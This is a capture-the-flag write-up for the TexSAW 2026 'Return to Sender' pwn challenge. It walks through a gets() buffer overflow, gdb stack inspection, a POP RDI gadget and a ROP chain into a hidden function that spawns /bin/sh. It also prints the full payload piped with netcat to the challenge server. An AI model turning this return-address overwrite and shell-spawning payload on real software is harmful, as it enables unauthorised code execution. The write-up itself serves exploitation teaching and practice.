TexSAW 2026 - Return to Sender (PWN)
Challenge Overview
- Name of the CTF Event: TexSAW 2026
- Challenge Name: Return to Sender
- Category: Pwn
- Provided Files / URL:
chall,nc 143.198.163.4 15858 - Goal: Find the flag.
Initial Analysis
I started by importing the binary file into Ghidra where I was able to identify 6 functions :
-
avenue,boulevardandcourt: those only print a string. -
deliver: usesgetsto get an input and uses that input to launch one of the previous functions or none of them if the input isn’t correct -> possible overflow. -
drive: a function opening a shell if the parameter contains the right value. However, this function is never called, so calling it is my first goal. -
main: clears IO buffers then launchesdeliver. -
tool: does apparently nothing.
Solution Path
Step 1: Getting into the drive function
Since I know that I can overflow with the input in deliver, I launched gdb to view the state of the stack after entering the input to see what I could override.
(gdb) x/16x $sp
0x7fffffffe0e0: 0x00000061 0x00000000 0xffffe258 0x00007fff
0x7fffffffe0f0: 0x00000001 0x00000000 0xf7ffd000 0x00007fff
0x7fffffffe100: 0xffffe120 0x00007fff 0x004013c0 0x00000000
0x7fffffffe110: 0xffffe258 0x00007fff 0x00000000 0x00000001
Here we can see the only a I inputted at the first byte after the stack pointer and 40 bytes after the stack pointer there is 0x004013c0, this is the return address, so by changing it to the address of drive (0x401211) I should be able to access it.
I tried this hypothesis directly in gdb :
(gdb) set {int}($sp + 40) = 0x401211
(gdb) n
Single stepping until exit from function deliver,
which has no line number information.
Sorry, we couldn't deliver your package. Returning to sender...
0x0000000000401211 in drive ()
(gdb)
So this works very well, but now I need to call the function with the right parameter to go into this if :
if (param_1 == 0x48435344) {
puts("Success! Secret package delivered.\n");
system("/bin/sh");
}
Step 2: Calling drive with 0x48435344 as parameter
Since unfortunately functions parameters are in registers and not in the stack I need to find a way to put a value from the stack into RDI the register containing the parameter that I need. To do so I need something like the assembly instruction POP RDI, very conveniently the assembly code of the function tool is :
ENDBR64
PUSH RBP
MOV RBP,RSP
POP RDI
RET
So now I need to call this function with 0x48435344 at the top of the stack after the call and override the return address once more to get into drive.
To keep track of the stack, I inputted abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN to fill up the first 40 bytes after the stack pointer, changed the address at $sp + 40 to the address of tool (0x4011b6) and then printed the registers just after exiting tool :
0x00000000004012a2 in deliver ()
(gdb)
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMN
0x00000000004012a7 in deliver ()
(gdb) set {int}($sp + 40) = 0x4011b6
(gdb) x/16x $sp
0x7fffffffe0e0: 0x64636261 0x68676665 0x6c6b6a69 0x706f6e6d
0x7fffffffe0f0: 0x74737271 0x78777675 0x42417a79 0x46454443
0x7fffffffe100: 0x4a494847 0x4e4d4c4b 0x004011b6 0x00000000
0x7fffffffe110: 0xffffe258 0x00007fff 0x00000000 0x00000001
(gdb) n
Single stepping until exit from function deliver,
which has no line number information.
Sorry, we couldn't deliver your package. Returning to sender...
0x00000000004011b6 in tool ()
(gdb) n
Single stepping until exit from function tool,
which has no line number information.
0x00007fffffffe258 in ?? ()
(gdb) info reg
...
rdi 0x4e4d4c4b4a494847 5642249794417674311
So after tool, we are now in 0x00007fffffffe258 which correspond the 8 bytes starting at $sp + 48 in deliver and rdi is containing 0x4e4d4c4b4a494847 which correspond to the 8 bytes starting at $sp + 32.
I can now quickly verify in gdb these offsets are the correct ones :
0x00000000004012a7 in deliver ()
(gdb) set {int}($sp + 32) = 0x48435344
(gdb) set {int}($sp + 36) = 0x0
(gdb) set {int}($sp + 40) = 0x4011b6
(gdb) set {int}($sp + 48) = 0x401211
(gdb) set {int}($sp + 52) = 0x0
(gdb) x/16x $sp
0x7fffffffe0e0: 0x00000061 0x00000000 0xffffe258 0x00007fff
0x7fffffffe0f0: 0x00000001 0x00000000 0xf7ffd000 0x00007fff
0x7fffffffe100: 0x48435344 0x00000000 0x004011b6 0x00000000
0x7fffffffe110: 0x00401211 0x00000000 0x00000000 0x00000001
(gdb) n
Single stepping until exit from function deliver,
which has no line number information.
Sorry, we couldn't deliver your package. Returning to sender...
0x00000000004011b6 in tool ()
(gdb)
Single stepping until exit from function tool,
which has no line number information.
0x0000000000401211 in drive ()
(gdb)
Single stepping until exit from function drive,
which has no line number information.
Attempting secret delivery to 3 Dangerous Drive...
Success! Secret package delivered.
[Detaching after vfork from child process 281986]
sh-5.3$
This indeed allows us to get into the if and to get a shell.
Exploit
I only need to craft a payload and pipe it to netcat to get the flag.
I started with this payload (with some addresses written in reverse because the CPU is in little endian) :
print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x44\x53\x43\x48\x00\x00\x00\x00\xb6\x11\x40\x00\x00\x00\x00\x00\x11\x12\x40\x00\x00\x00\x00\x00\ncat flag.txt\n" | nc 143.198.163.4 15858
Our modern and highly secure postal service never fails to deliver your package.
Where would you like to send your package?
Some Options:
0 Address Avenue
1 Buffer Boulevard
2 Canary Court
Sorry, we couldn t deliver your package. Returning to sender...
Attempting secret delivery to 3 Dangerous Drive...
Success! Secret package delivered.
ls
ls
pwd
^C
It was kind of successful but the shell wasn’t registering my inputs, so I added them directly into the payload :
print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x44\x53\x43\x48\x00\x00\x00\x00\xb6\x11\x40\x00\x00\x00\x00\x00\x11\x12\x40\x00\x00\x00\x00\x00\nls\n" | nc 143.198.163.4 15858
...
flag.txt
run
print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x44\x53\x43\x48\x00\x00\x00\x00\xb6\x11\x40\x00\x00\x00\x00\x00\x11\x12\x40\x00\x00\x00\x00\x00\ncat flag.txt\n" | nc 143.198.163.4 15858
...
texsaw{...}